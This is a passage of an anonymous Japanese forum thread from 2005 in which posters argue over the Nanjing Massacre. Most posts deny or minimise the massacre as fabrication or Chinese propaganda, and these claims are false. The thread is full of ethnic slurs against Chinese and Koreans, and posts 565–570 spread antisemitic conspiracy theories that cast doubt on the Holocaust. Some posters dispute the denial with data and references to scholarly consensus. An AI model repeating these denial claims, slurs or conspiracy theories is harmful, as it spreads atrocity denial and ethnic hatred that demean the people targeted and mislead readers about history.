おまえほんとにバカなんだな。中国人だろ。

522 :名無的発言者:05/01/03 18:32:51
大躍進で3000万人の餓死者! 文化大革命で2000万人の粛清

まだ足りないのかな? 中国政府は、中国人の血が一番好きなのさ!

523 :名無的発言者:05/01/03 19:37:52
奴隷になることを拒否する中国人は邪魔だから殺すんだろ

524 :名無的発言者:05/01/03 21:27:21
>>523
虐殺の理由はケースバイケースであろうが、

今のように、歴史を捏造してまで他人からカネをタカろうとしている
中国人に正当性がないのは確だ。

525 :名無的発言者:05/01/03 21:42:37
南京はほとんど無血開城にちかく、
日本軍が入った時には中国兵は撤退していたと当時の記録にはあるのだが...


526 :名無的発言者:05/01/03 21:44:15
中国語のわかる方、この人は何故死刑になったか教えてください。

ttp://www.peacehall.com/news/gb/china/2004/12/200412130343.shtml

527 :名無的発言者:05/01/03 21:58:59
なんで最初の写真だけ999の車掌になってるんだろ……

写真のプラカードには「故意殺人犯」、記事の文には時間や場所は分からないとある。
説明と言えるのはそんだけ。


528 :名無的発言者:05/01/04 13:30:52
見学に来てる人や周りの風景、建物を見ると、農村部か小さい街、
場所は黄色い土の色からして、北か北西か東北地域・・・、撃たれてる人は
顔が幅広く、丸く、つぶしたようなのっぺり具合からして北方系中国人。
制服マニアが見れば時代もわかるかも。

529 :名無的発言者:05/01/06 08:16:54
>>525
捏造もいい加減にしろよw

530 :名無的発言者:05/01/06 08:22:21
>>529
お前がいい加減に死ろ

531 :名無的発言者:05/01/06 10:29:21
>>530
キチガイ
ソースを示してからものを言え

532 :名無的発言者:05/01/06 19:33:13
あった!

そう叫ぶ人たちが立証せよ

んじゃなきゃ知らん


法廷で争わなければならないのは、あった派


だろ?

533 :名無的発言者:05/01/06 20:36:47
妄想か

534 :名無的発言者:05/01/06 23:04:51
>>532
そうだね。
南京の無血開城はあった!と叫ぶ人、立証よろ


535 :名無的発言者:05/01/06 23:12:02
>>534
30万の立証よろ


出来なきゃ無視

536 :名無的発言者:05/01/06 23:32:12
>>535>>532は矛盾しています。

>>532君によれば、立証責任を負うのは「あった!」と叫ぶ人のはずです。
「30万はあった!」と叫ぶ人だけが立証責任を負うはずです。

しかし>>535君は、「30万はあった!」と叫んだ人ではなく、
なぜか関係のない漏れが30万を立証すべきだとしています。
>>532に従うなら明らかにおかしいです。


537 :名無的発言者:05/01/06 23:32:14
中国以外に南京大虐殺を真面目に紐とく人がいないだけだろ。
世界的視野で見れば中国またよってるよってことです。
日本の政界人にも学んで欲しいね

538 :名無的発言者:05/01/06 23:35:23
>>536
真面目な人だね^^

南京の無血開城はあった!と叫ぶ人は立証しなくてもいいんだよ。
30万の人たちが立証しない限りね。

539 :名無的発言者:05/01/07 00:09:06
>>538はおかしいです。

南京の無血開城は、南京大虐殺とはまったく別の事象であり、
無血開城があった!とする側に立証責任があります。
しかし>>538は、「無血開城はあった!」と叫ぶ人でなく、
虐殺という別のテーマを主張している人になぜか無血開城を立証させようとしています。
これまた>>532に矛盾します。

540 :名無的発言者:05/01/07 00:14:30
>>539
は論法を学べ。話は、それからだ

541 :名無的発言者:05/01/07 00:18:23
おまいさんが売国サヨクじゃないことを立証せよ。>539

542 :名無的発言者:05/01/07 03:44:20
無血開城でも有血開城でもどっちでもいいな。
議論すべきは、「中国(中華人民共和国=シナ)が主張するところの40万虐殺の真偽」

543 :名無的発言者:05/01/07 13:59:56
>>539
すごい誤読
最初何を言ってるのか和歌欄勝った

544 :名無的発言者:05/01/09 13:45:25
   【江澤民と南京の帝国陸軍特務機関】

Jiang Zemin was a candidacy of official of the Japanese army’s anti-Chinese department and a student of the Nanjing Central University?
After the Sino-Japanese War ended, the national government purged the Central University to single out those who were traitors to China.
Jiang Zemin was so frightened that he hurriedly fled to Yongxin County in Jiangxi Province, and he was sheltered by a farmer there for half a year.
Undoubtedly, Jiang Zemin was suspected of being a Japanese traitor to China.
Otherwise, why was he so scared?

江澤民は、日本軍統治下の南京で日本軍特務機関員候補として南京中央大学に通っていた?
日本が投降すると、国民党政府は同月26日に「接収地区における中等以上の学校学生の識別方法」を通達して、日本占領区にいた学生を審査した。
同年10月、国民政府教育部は上海交通大学、重慶交通大学、南京中央大学の3校を合併し、徐家匯の交通大学を校舎に指定した。
南京中央大学と上海交通大学など6大学は、漢奸の学校とされ、その学生はひとしく審査された。
江澤民も審査対象の一人であったが、突然失踪した。

545 :南京FAQ:05/01/09 23:58:35
http://www5.tok2.com/home/JOHNVOID/nankin_faq.html

546 :名無的発言者:05/01/10 00:03:47
南京大虐殺の犯人は>>1です

中国人民は>>1に南京事件の責任をとってもらってください

547 :名無的発言者:05/01/10 00:14:30
http://www5.tok2.com/home/JOHNVOID/nakkin_faq_ans2.html

南京市の人口が25万に増えたというのは嘘。否定派の使用する初歩的なトリック。

(1)南京市には最初から25万人の市民が残っていた
 ラーベら国際安全委員会では、南京市に残る市民の人口を事前に20万人と見積もっていたが、
実際に統計調査をして確認したわけではないので、当てずっぽうの見積もりだった。
 日本軍の占領後にスマイス博士らが統計調査をした結果、安全区に避難した人口が20万、
安全区外の南京市に残っていた人が5万人で、合計25万人の市民が逃げずに南京市に残っていたことが判った。 

事前に予測した難民数
約20万
実際に残っていた難民数
約25万

 この「予測と実際残っていた難民数の差」を「市民が戻ってきて増えた数」にすり替えているのが
否定派のトリック。

548 :名無的発言者:05/01/10 00:27:09
A1.事実

  ラーベが感謝状など送っていません。ラーベらが実際に日本軍に渡したのは以下のような抗議文です。
安全区を砲撃しなかったことは抗議文の冒頭に置かれた外交辞令にすぎないことがよく分かります。
http://www5.tok2.com/home/JOHNVOID/nakkin_faq_ans17.html

549 :名無的発言者:05/01/10 00:30:02
南京大虐殺の犯人は>>1です

中国人民は>>1に南京事件の責任をとってもらってください


550 : :05/01/10 00:43:47
30万人だろうと一人だろうとどうでもいいよ。

結局日本だって原爆や空襲で何十万人もの一般大衆が「故意に」
皆殺しになったし、もし日本が降伏しなければ、日本中に原爆が
落ちまくっただろう。

ドイツだって敗戦後、周辺国の住人や連合国に、ホロコーストと
変わらない虐殺を受けて、百万人もの一般市民・兵士(戦争が
終ったんだから本来兵士もヘッタクレもないが)が亡くなったと
聞く。

一体枢軸国がやった事と、連合国がやった事で、何の違いが
あると言うのだ?
反省? 笑わせるな。
あの時代は全てが狂っていた。それだけの事だ。

ましてや中国など、チベットや文化大革命で自国民を何千万人
も殺しまくり、ホロコーストの世界チャンピオンだろ。
お前らには偉そうな事は死んでも言われたくないわ。


551 :名無的発言者:05/01/10 00:48:40
支那の場合は香港とマカオを戦争で負けて植民地にされたわけだが
本来それこそ屈辱的なことだが、中国があまりにひどい国だから
結果的に植民地になってて良かったってだけだろ。

552 :名無的発言者:05/01/11 21:25:40
マジレスすると20万人未満5万人以上だと思う

大学で、サヨクでない歴史学者が検証してくれた

553 :名無的発言者:05/01/11 21:52:46
ティターンズがやったといわれている30バンチ事件は嘘だって学者が言ってる

554 :名無的発言者:05/01/12 00:19:30
>>552
その数にしても、現実離れした破壊力が必要なわけだし
死体処理の資料を後付で作ってる中国見ても分かるとおり、
立証不能ではあるな。

早く裁判でも何でもいいからはっきりさせてくれよ。
あったんならさ。

ちなみに5万人なら大虐殺だな

555 :名無的発言者:05/01/12 09:37:37
>>1
お前は小林よしのりの影響を受けすぎ!

556 :名無的発言者:05/01/15 00:43:15
もちろんレイプしちゃった兵士もいたとは思うけど、日本人って人見知りだし、ちゅうこく人とやりたくない人も多くいたでしょうに。だっていくら性欲がたまっていたって汚いところで自分の体を汚物にさらすのは....オレは嫌だな。ならやらないほうがイイ!

557 :名無的発言者:05/01/15 00:49:28
残念ながら、虐殺の悪質性は最終的にその規模(犠牲者数)に比例する。
南京<<<<<<<<<<<チベット<<<大躍進<<文革

558 :名無的発言者:05/01/15 02:55:16
南京の虐殺は日本軍かそれとも中国の便衣隊の仕業か調査の必要がある
最近の台風や地震災害で、中国では災害に便乗した強盗や殺人が多いのに
日本ではまれなのが気にかかっている。
もしかすると、南京陥落につけこんだ中国人自身の仕業ではないかとの
疑いが強くなった。

559 :名無的発言者:05/01/15 03:00:41
中国側が自身の戦争死んだ人も増やしてるのに、全部日本のせいでかうんとしてるんだよ

560 :名無的発言者:05/01/15 10:41:41
私の父・81才は南京戦に従軍。虐殺はなし。むしろ、中国民間人を保護しろとの命令を受けたと言ってます。

561 :名無的発言者:05/01/15 10:52:36
だいたい30万人の中国人をどこに収容してたんだよ

562 :名無的発言者:05/01/15 10:56:04
シナ人は、食人族よぉー

563 :名無的発言者:05/01/15 11:06:21
>>558
今さら何言ってんだよ
当時中国では普通に中国人によって虐殺や略奪が行われてたんだぞ

564 :名無的発言者:05/01/15 11:39:42
日本軍が南京入城すると保護を求めて中国人が集まってきた。日本軍司令官は孫文の友人でした。

565 :名無的発言者:05/01/15 13:10:09
>>564
中国人には何やっても無駄だった。
この南京事件問題についても、婉曲なイスラエル援護の意味もある。
欧米においても、イスラエルがパレスチナでやってることを見て、
ホロコーストなど、ユダヤ教徒が主張していた事柄を再検討しつつある。
ホロコーストが、
南京大虐殺のようなプロパガンダの賜物なのかどうかは知らないが、
ユダヤ教徒側では自分たちに非難が及ばないように必死だ。
とりあえず中国国民党の南京大虐殺宣伝と連携する動きがある。

台湾の228事件については、日本では余り史料が出まわらないが、
彼ら中国人によって、実際に起こされたことを見れば、
彼らが南京において発生したと主張する事柄との共通性に驚く。
つまり、ユダヤ教徒とも仲の良い国民党関係者が、
大陸で実際に手を下していたことを、日本に擦り付けている。

566 :名無的発言者:05/01/15 13:15:55
もしホロコーストが行われたという主張に瑕疵が無ければ、
つまり、主張されている通りのホロコーストが行われていたのであれば、
ユダヤ教徒側でも中国人のプロパガンダには便乗しないだろう。
真実のジェノサイドの被害者としては、
自分たちの活動を真似て虚偽を言う人達を唾棄するはずだから。
そうでないということは、
ユダヤ教徒が主張するところのホロコーストについても、
幾分かの虚偽が混入していると言う事かもしれない。

567 :名無的発言者:05/01/15 13:18:34
ここで思い起こされるのは、
日本の拉致問題や台湾の228事件など、
本当のホロコースト犠牲者であれば、
当然に問題とすべきものを、
ユダヤ系メディアは全く黙殺しているという事実だ。

568 :名無的発言者:05/01/15 13:21:27
ユダヤ系は自分達だけホロコーストの犠牲者にしといて同情を集めて
その裏で汚い事をやり放題してるんじゃないか?

569 :名無的発言者:05/01/15 13:22:34
もし、ユダヤ教徒が、全てを知った上で、
同じ国に同居するキリスト教徒を、
中国人に惨殺された人達と同様の被害に曝すべく、
敢えて黙っているか、
もしくは中国のプロパガンダに便乗しているとすれば、
日本人としては、どう言動すべきか迷うところだろう。

570 :名無的発言者:05/01/15 13:26:28
>>568
もしホロコーストが南京大虐殺と全く同様な事柄だというのなら、
つまり南京大虐殺と同程度にプロパガンダされた事柄だとしたら、
強制収容所も刑務所で、収容者も犯罪者だったという位の事になる。

アメリカにおいて、日系人の強制収容が大問題にされたくらいだから、
そんなことは無いとは思うが。

571 :名無的発言者:05/01/15 13:33:05
中国が、とか中国の、とかいったが、中国も一枚岩ではない。
南京に関わる人達の人脈が中国を乗っ取りつつあるという事実もある。
具体的には国民党関係者だ。
華人とも関係が深く、外からも金を集め近来急成長した資産家階層、
彼らには大陸における政治的実績が無いから南京は政治的に重宝する。
また、中国の軍内部にも国民党関係者に心情的に近い人達がいる。

572 :名無的発言者:05/01/15 13:35:34
もし、90年代の時点で中国の解体に成功していれば、
文化大革命批判や、東欧の如き共産党体制崩壊を梃子にして、
中国を金と肩書きで牛耳ったであろう人達だ。

573 :名無的発言者:05/01/15 13:38:59
共産党の暴政が終わっても国民党の暴政が待ってるんですとよ
永久搾取され中国人民ご愁傷さま

574 :名無的発言者:05/01/15 13:41:00
ソ連崩壊後のロシアもそうだったが、
共産主義体制が崩壊するとみるや、
国を食い物にすべく素早く身構える人達がいた。
おそらくは中国でも、それは自覚しているだろう。
目論見が外れ、行き場が無くなった挙句、
南京に集積せざるを得なくなった人達を、
生暖かく見つめているというのが現状だろう。
これは台湾への強硬論生起についても言える。

575 :名無的発言者:05/01/15 13:43:41
>>573
むしろ、国民党浮遊分子は不断に観察されていると思う。
把握されきって動けないから南京や台湾に流入している。

576 :名無的発言者:05/01/15 13:50:24
台湾強硬論については薮蛇で、事実としては台湾の離反を招いた。
それでも国民党関係者は中国人の眼を逸らすために止められなかった。
あれで台湾人が軍拡にまで踏み出していれば、
彼らの目論見どおり中国が危なくなっていた。
南京についても同様で、国民党関係者が行ったことが、
将来的には中国人全てが行ったこととして把握され、
これから海外に出て行く中国人が、
移民先に進出する際に、不利になる可能性も高い。

577 :名無的発言者:05/01/15 13:53:21
或る日突然、南京大虐殺の虚構の緞帳が空けられて、
新しく移民し、必死になって根付こうとしていた新移民の中国人が、
纏めて嘘吐きの虐殺者として叩き落とされる事態も起こり得るからだ。

578 :名無的発言者:05/01/15 13:55:34
アイリスチャンが、
アメリカにおける中国人の歴史的進出を描いていた途中で、
自殺するに至ったことも偶然ではないだろう。

579 :名無的発言者:05/01/15 13:56:33
実態が次々と明らかになっています。
http://academy3.2ch.net/test/read.cgi/china/1091883438/

580 :名無的発言者:05/01/22 06:32:20
当方の警官にも干渉がなされ、責任者である日本人将校の言によれば、
司法部に駐在中の五〇人の警官を「銃殺するために」連行したとのこと
です。昨日午後にはわれわれの「志願警察官」のうち四六人が同様に連
行されました。(これらの志願警察官は当委員会によって十二月十三日
に組織されたもので、安全区でおこなわれる仕事は正規の警官―昼夜兼
行で部署についていた―よりも大きいように見えました。)これらの「志
願警察官」は制服を着用してもおらずいかなる武器も携行しておりません
でした。ただ当方の腕章をつけていただけです。彼らは群集整理の手助け
とか、清掃とか、救急処置を施すなどの雑用をする西洋のボーイ・スカー
トといったようなものでした。
(「南京大残虐事件資料集 第2巻」 P126)
http://www.geocities.jp/yu77799/kokusaiiinkai.html


581 :名無的発言者:05/01/22 09:08:42
また捏造が始まった
警官は司法部に属さない
行政部に属する

582 :名無的発言者:05/01/22 09:56:54
>>548
それは便衣兵を南京市内に入れましたって文章だろ
だいたい当時、敵対していたアメリカやイギリスが南京で大虐殺があったことを
なんで宣伝しなかったのか?

583 :名無的発言者:05/01/22 12:07:55
南京大虐殺は本当で,私のおじいさんは経験したことがあります。 あなたたちの日本人はどうしてドイツ人がいないのは正直で率直ですか。


584 :名無的発言者:05/01/22 12:23:57
>>583
不法入国者ハケーン!!ただちに強制送還せよ

585 :名無的発言者:05/01/22 12:57:15
>>583
Are you Chink?

586 :名無的発言者:05/01/24 22:15:39
583
殺した数と証拠写真が偽者なんだよクズ。


587 :名無的発言者:05/01/24 22:18:25
>>583
意図的な機会翻訳の匂いがする

588 :名無的発言者:05/01/25 11:26:55
馬鹿馬鹿しい。

589 :名無的発言者:05/01/26 10:48:09
ネット百科事典より
http://ja.wikipedia.org/wiki/%E5%8D%97%E4%BA%AC%E5%A4%A7%E8%99%90%E6%AE%BA%E8%AB%96%E4%BA%89

学会の反応
否定説はほとんどの歴史家の間では受け入れられる傾向はない。


590 :名無的発言者:05/01/26 10:55:42
↑散々論破されているのに「編集合戦」という理由で保護。
ウィキの日本語バージョンのレヴェルの低さが良く分かる。

591 :名無的発言者:05/01/26 21:17:39
>>ネット百科事典より
>>http://ja.wikipedia.org/wiki/%E5%8D%97%E4%BA%AC%E5%A4%A7%E8%99%90%E6%AE%BA%E8%AB%96%E4%BA%89
>>否定説はほとんどの歴史家の間では受け入れられる傾向はない。
>>現在では歴史研究者の間では南京事件の有無を問うことは、
>>中国政府をいたずらに刺激し、研究活動に支障が出るという声も聞こえてくる。
>>また一部の社会学や心理学の研究者の間では、
>>「なぜ大衆が非学術的な言述を信用するのか」という研究の対象となっている。

ちなみにこれは妄想ですからw

592 :名無的発言者:05/01/26 21:36:59
>>1
★中国側が「南京で30万人殺された」とハッキリ言い切っている事実★
直視しようよ。現実を。
日本人が勝手に犠牲者数や被害の範囲を変えたらまずいよ。


被害者の声に耳を傾けるべきだと思う。

593 :名無的発言者:05/01/26 21:52:28
ハッキリと状況を説明できないんだからだめだめ

594 :名無的発言者:05/01/26 21:53:57
1はこれでも読んでみたら?
ま、どうせ共産主義者の確信犯なんだろうけどさ。
http://www.history.gr.jp/nanking/18_reason.html

南京で住人全て虐殺して一体何の得があるわけ?住民殺しちゃったら搾取できないじゃん。
住民を皆殺しにすれば「日本に占領されたら皆殺しにされる!」ということになり、
抵抗運動が激しくなるだけ。

何の得があったか、教えて偉い人。
「怒りに任せ」「衝動的に」というのは無しだよ。
「松井大将が計画的に殺した」ってことになってるんだから。

595 :名無的発言者:05/01/26 22:01:00
南京市民は日本軍の占領を歓迎してたんだから殺す必要ない罠

596 :名無的発言者:05/01/26 22:15:03
>>592

>★中国側が「南京で30万人殺された」とハッキリ言い切っている事実★


交通事故に置き換えようか。

★被害者側が「ムチ打ち頭が痛い」とハッキリ言い切っている事実★
直視しようよ。現実を。
勝手に犠牲者数や被害の範囲を変えたらまずいよ。
被害者の声に耳を傾けるべきだと思う。
被害者の要求どおり示談成立後(国交回復後)も金を払いつずけるべ
きだ。

なんか変じゃないか。


かりに、示談の時には顕在化してなかった後遺症があるな
ら医者の検診で立証すべきではないか。

597 :名無的発言者:05/01/28 08:14:59
ウヨの捨て台詞「さんざん論破されてるのに」って空しいよなw
いつ誰がどこで論破したの?
それって「漫画家」とかが論破した「つもりになってる」だけのことじゃないの?
歴史学者の実証研究よりも漫画家とか正論のライターみたいなのを信じなくちゃ行けないの?


598 :名無的発言者:05/01/31 09:11:31
>>597
同意。
ウヨの論破は脳内論破。
学問のフィールドではウヨは悲しいくらい無力。


599 :名無的発言者:05/01/31 09:32:04
当時はそんな事実なんかない

600 :名無的発言者:05/01/31 09:58:38
『南京事件「証拠写真」を検証する』(草思社)
著者:東中野修道ほか

「南京大虐殺」とは、昭和12年12月の南京戦のさいに、6週間にわたって日本軍によ
る虐殺、暴行、略奪、放火が生じたとの主張だ。近年の研究によってその根拠は揺ら
いできた観があるが、先日、南京市にある「南京大虐殺記念館」をユネスコの世界
文化遺産に登録申請しようという構想が報道されたように国際社会では史実として
定着しつつある。これについては今日まで「大虐殺の証拠写真」として世に出た写真
の果たした役割が小さくない。本書は東中野修道・亜細亜大学教授と南京事件研究会
写真分科会がこうした写真143枚をとりあげ、3年がかりでその信頼度をはかっ
た検証報告だ。いわゆる「証拠写真」の総括的検証がなされたのは初めてのこと。延
べ3万枚を超える関連写真との比較検証・照合からわかったことは、これらの写真の
半数近くが、南京戦の翌年に中国国民党中央宣伝部が戦争プロパガンダ用に作った2
冊の宣伝本に掲載されたものだったことだ。しかもそのうちの数枚は『支邦事変画
報』など、当時日本の写真雑誌に載った従軍カメラマン撮影の写真をそのまま使い、
略奪や無差別爆撃、強制労働の写真であるかのようなキャプションに付け替えられて
いた。「日本兵」の軍服の細部や被写体の影の有無から合成あるいは演出写真と判明
したものもある。さらに戦後、南京裁判に提出されたという16枚の写真については、
写っている人物の身長と影の比率から、撮影時期を5月末か6月初めと特定。「大虐
殺」発生時との矛盾が判明した。また16枚の画面サイズの計測によってフィルム本数
を割り出し、写真提供者の証言との食い違いを明らかにしている。こうして著者たち
は、あらゆる角度から検証を加えたうえで「証拠として通用する写真は1枚もなかっ
た」との結論を導き出した。本書の公正な検証プロセスを読めば、この結論には誰も
が頷かれることだろう。




601 :名無的発言者:05/01/31 17:28:04
あったなんていう馬鹿まだ居るのかw

602 :名無的発言者:05/01/31 19:32:24
>>601
否定派の研究者でさえ、虐殺(不法殺害)とされる行為はあったと言ってる。

603 :名無的発言者:05/01/31 21:33:38
証拠はO

否定派の研究者?

誰だ、挙げてみろ

604 :名無的発言者:05/01/31 21:35:37
虐殺はあったよ

支那人同士の虐殺は

605 :名無的発言者:05/01/31 21:52:30
ていうかこの南京虐殺を否定する学者は皆無ってやつ、
違法殺害や犯罪が少しでもあった=虐殺はあった!!っていう虐殺派お得意の理論でしょ?

606 :名無的発言者:05/01/31 21:59:02
アルェ?30万じゃなかったのぉ?3人くらいですか?
肯定する人はどんどん、どんどん言うことが変わるので
全く信用できなくなりました。


607 :名無的発言者:05/02/01 01:53:25
まあ、嘘・大袈裟はJAROが許しませんよって事ですばい

608 :名無的発言者:05/02/01 04:39:14
192 名前:152[] 投稿日:05/02/01(火) 04:20:13 ID:Du2od3ce
チャンネル桜に出演された陥落1ヶ月後から南京にいた田形竹尾氏による証言動画です。

@日本軍の軍規や南京の様子1(8.80MB)
http://www.dela-grante.net/michelin/up/so/No_1622.wmv

A南京の様子2(13.1 MB)
http://www.dela-grante.net/michelin/up/so/No_1623.wmv

609 :名無的発言者:05/02/01 05:54:46
【南京事件とは?】

日本軍が一般の拘束兵・投降兵、便衣兵&間違われた一般市民を不法に殺害したとされるのが虐殺内容の主流。
犠牲者数・裁判が無かった事・捕虜資格などが議論対象。
虐殺「とされる」行為が存在した事は、否定派の研究者も認めてる。

数は中間派で4万程度。否定派の研究者で上限二万程度。
ハーグ規定の解釈で、全て不法では無いという研究者もいる。

国際委員会が認定した「非行」による殺害数は49人。
これは日本軍による組織的な捕虜殺害(不法殺害・虐殺)とは区別される。


610 :名無的発言者:05/02/01 06:00:00
便衣兵、巻き込まれた一般人の処刑を合法とし、最大限日本よりの証言に基づいた畝本氏も、上限六千の虐殺(不法殺害)を認めてる。

東中野教授は一般人の処刑も合法(便衣兵による)、ハーグ規定の解釈で全ての兵士に捕虜資格無しとする立場で、虐殺(不法殺害)を認めてない。

虐殺・不法殺害「とされる」行為の存在自体を否定する研究者は居ない。

611 :名無的発言者:05/02/01 11:31:12
ウヨクに味方してる学者が東中野だけってのが辛いなぁ

612 :名無的発言者:05/02/01 12:20:29
チンク、サヨの妄想の方が痛過ぎるなw

613 :名無的発言者:05/02/01 16:57:01
そもそも違法殺害や犯罪が全くないなんてありえんだろ

614 :名無的発言者:05/02/01 22:45:07
明らかな合成/日本兵と違う軍服

南京大虐殺の証拠として流布する写真の検証作業を続けていた東中野修道・亜細亜大学教授は
三十一日、都内で会見し、証拠写真として入手しうる百四十三枚のうち、
証拠として通用するものは一枚もなかったとする検証結果を発表した。

東中野教授は「大虐殺」に触れた著作物を可能な限り収集、
そこに掲載されていた約三万五千点の写真の中から
「大虐殺」の証拠とされるものを抽出して検証した。

「虐殺の有無を検証しようとしたのではなく、虐殺の証拠に使われている写真が、証拠として通用するものかどうかを検証した。そこを理解してほしい」と東中野教授。

検証の結果、今日流布する証拠写真の多くは、昭和十二年十二月の南京攻略戦から七カ月後に出版された「日寇暴行実録」(国民政府軍事委員会政治部編)と「外人目撃中の日軍暴行」(ティンパーリー編)の二冊を源流としていたことが明らかになった。

この二冊に掲載された七十枚は、いつ、どこで、だれが撮ったものか不明なものが大半であり、細部を詰めてゆくと、

・明らかに合成と分かるもの
・軍服が日本兵のものでないもの
・初夏に撮られたとみられるもの

が多数あった。さらには、日本の写真雑誌に掲載された写真のキャプションを改竄(かいざん)して掲載した例も。

東中野教授によれば、こうした写真が「大虐殺」の証拠として検証されることなく次々に使用されていったという。典型的な例は、昭和十二年十二月五日発行の「朝日版支那事変画報」の裏表紙に掲載された、代価を払って鶏を買った兵士の写真。
「日本軍の行くところ略奪されて鶏も犬もいなくなった」
とキャプションを改竄されて「日寇暴行実録」に掲載され、さらに朝日新聞記者だった本多勝一氏の著作に「ヤギや鶏などの家畜は、すべて戦利品として略奪された」という説明をつけて掲載された。

http://www.sankei.co.jp/news/050201/morning/01na1003.htm

615 :名無的発言者:05/02/02 09:25:32
>>614
さすがサンケイですねw

616 :名無的発言者:05/02/02 11:00:29
シナジンは馬鹿で嘘もようつけん

617 :元日本兵:05/02/02 12:02:48
お金を貰って嘘をつきました。
虐殺なんかありません。

618 :名無的発言者:05/02/02 13:23:49
毛沢東が2回の革命で殺した自国民は 5000万人

仮に100万人 シナ豚殺してもたいしたこたぁねぇ

619 :名無的発言者:05/02/02 22:12:20
まず南京虐殺された人の数を、統一してから攻めてきなさい。
お前らがごたごたしてるのでは話にならん

620 :名無的発言者:05/02/02 23:09:14
南京虐殺?あぁ、捏造だけど?

621 :名無的発言者:05/02/03 13:44:40
今日発売の週刊文春に、南京虐殺の証拠写真は捏ち上げだと暴露されている。
しかもその「証拠写真」にまた朝日が関与。

622 :名無的発言者:05/02/03 16:04:05

はい!みなさん一緒に、どうそ!

 『 ま た 、 朝 日 か ・ ・ ・ ・ ・』 

623 :白 シンフン:05/02/03 16:06:10
朝鮮日報。

624 :白 シンフン:05/02/03 16:06:49
おへんじを

625 :名無的発言者:05/02/04 08:22:20
>>621

ま た 文 春 で す か

さすが被訴訟No.1週刊誌

626 :名無的発言者:05/02/07 07:52:34
>>614
143/35000

捏 造 じ ゃ な い こ と を 証 明 し た よ う な 
も ん だ な

627 :名無的発言者:05/02/07 08:55:55
>>626
????????????????

628 :名無的発言者:05/02/07 09:18:45
>>627

ああ、大丈夫>>626は勘違いしてるだけだからw
どっかのスレであったんだけど、
「残りの34857枚は捏造の証拠が見つけられなかったとw」
とかいう感じのアフォなレスがあったんだが、たぶんそれと同じw

>「大虐殺」の証拠とされるものを抽出して

を、とんでもなく都合のいい解釈をしただけと思われw

629 :名無的発言者:05/02/07 09:26:13
南京大虐殺はあったと仮定して、何故捏造写真を作る必要があるのかね?

630 :名無的発言者:05/02/07 09:32:43
だよなー、戦時中起こりえる虐殺行為の範疇を超えた大虐殺があったなら、捏造なんかしなくったって証拠が残りそうなもんだが

631 :白 シンフン:05/02/07 10:17:09
朝鮮日報

632 :名無的発言者:05/02/07 10:30:51
昨日の2001でなぜやらなかった。
期待していたのに。
このままでは産経新聞読んだ人と、
2ちゃんをはじめとする一部の問題意識の高い人にしか、
伝わらないではないか。
日曜の朝、のんびりテレビを眺めているような人たちにこそ、
啓蒙が必要だというのに。

633 :白 シンフン:05/02/07 11:46:45
632<<後半2行やってみたい

634 :名無的発言者:05/02/07 11:59:17
稚拙な否定説は、肯定派のねつ造。

635 :名無的発言者:05/02/07 23:21:47
南京大虐殺は実際にあったそうですね。
高橋亨という人のホームページに書いてありました。


636 :名無的発言者:05/02/07 23:25:47
挑戦日報 ( ´_ゝ`)

637 :名無的発言者:05/02/07 23:27:58
>>635
あったよ
欧米人が中国人に虐殺された南京大虐殺が

638 :名無的発言者:05/02/08 00:01:03
なんと言われようと、誰も高橋さんを論破できないのですから、
虐殺はあったと結論するしかありません。

639 :名無的発言者:05/02/08 00:08:43
へえ。そう?

640 :名無的発言者:05/02/08 00:10:16
一人でも虐殺だもんな

641 :名無的発言者:05/02/08 00:13:51
その高橋って誰?
共産党に洗脳されてる馬鹿チョン??

642 :名無的発言者:05/02/08 00:21:17
相手にされてないだけじゃないの?

643 :名無的発言者:05/02/08 00:24:43
なぜ638が高橋さんにこだわるのか誰も理解できないのですから、
虐殺はなかったと結論するしかありません。

644 :名無的発言者:05/02/08 00:33:50
>>643
ググって見ましたが、高橋さんの説を完全に否定した人がいませんでしたので。
とりわけ2ちゃんねるでは、捨てゼリフは多いのですが、彼の説を正面から
扱った形跡がひとつもありません。それなのに、南京大虐殺はなかったなどと、
嘘も百回言えば本当になると思っているのですか?

645 :名無的発言者:05/02/08 00:36:03
嘘も百回言えば本当になると思っているのですか?
嘘も百回言えば本当になると思っているのですか?
嘘も百回言えば本当になると思っているのですか?
嘘も百回言えば本当になると思っているのですか?
嘘も百回言えば本当になると思っているのですか?
嘘も百回言えば本当になると思っているのですか?
嘘も百回言えば本当になると思っているのですか?
嘘も百回言えば本当になると思っているのですか?
嘘も百回言えば本当になると思っているのですか?
嘘も百回言えば本当になると思っているのですか?
嘘も百回言えば本当になると思っているのですか?


646 :名無的発言者:05/02/08 00:39:19
一度見てください。考えが変わると思います。
ttp://homepage3.nifty.com/m_and_y/genron/

647 :名無的発言者:05/02/08 00:39:32
>>644
その高橋ってやつの説を上げてみろよ。
別にリンクでもいいぞ。

648 :名無的発言者:05/02/08 00:40:34
読んで見てください。彼の説を否定できるでしょうか。

649 :名無的発言者:05/02/08 00:48:33
藤原彰・本多勝一・洞冨雄・笠原十九司の本は
ソースになりませんから!

残念!!


650 :名無的発言者:05/02/08 00:53:40
その程度のレスしかできないのが、2ちゃんねる住民の現状なのですね。

651 :名無的発言者:05/02/08 01:27:58
南京に行った日本の軍人が虐殺なんかなかったって言ってるだろ
中国人の証言はあてにならないからな

652 :名無的発言者:05/02/08 01:28:14
>>650 は、なぜ「藤原彰・本多勝一・洞冨雄・笠原十九司の本」が
ソースに値しないのかわからないほどアフォなのですね。

653 :名無的発言者:05/02/08 01:40:49
>>652
罵倒するだけならウンコ野郎にもできますねえ

654 :名無的発言者:05/02/08 01:54:17
高橋と言う人のHPみて
10人切れば刃がぼろぼろになることを実際に試した例があるというの
なら、ぜひその実例を示してください。
といった内容の書き込みがあったので実例をひとつ
山田浅右衛門と言う江戸時代の首切り役人が残した記録がある。
肝心のソースとなる本が実家にあるので、うろ覚えの知識ですまんが
10数体(17体か13体のどちらかだと思った)が限界だとのことだ。
山田浅右衛門って人は世襲制の名前で、初代から七代目までおり、刀の腕が
悪ければ養子に継がせたぐらいその腕にはこだわってた上、本来の職は、
大名などから預かった刀などに切れ味を試す、試し切りが仕事の人。
当然使用する刀は超一級品だ。
そんな好条件でも一振りで切れるのはこんなもんだ。
少なくとも100人なんか切れん





655 :名無的発言者:05/02/08 03:54:17
ここ見ると百人斬り競争した当事者の
証言の矛盾が指摘されています
http://www.nextftp.com/tarari/
南京事件も村瀬氏の写真をちゃんとみると事実だった
ていうことが分かります
ご参考まで。

656 :名無的発言者:05/02/08 03:56:20
ちなみに
当時100人どうやって数えたのかという疑問も
晴れます。
http://www.nextftp.com/tarari/

657 :名無的発言者:05/02/08 04:50:26
100人切りが、有ったと言う人へ
100人切るのは無理だったのではないかと言った意味で、
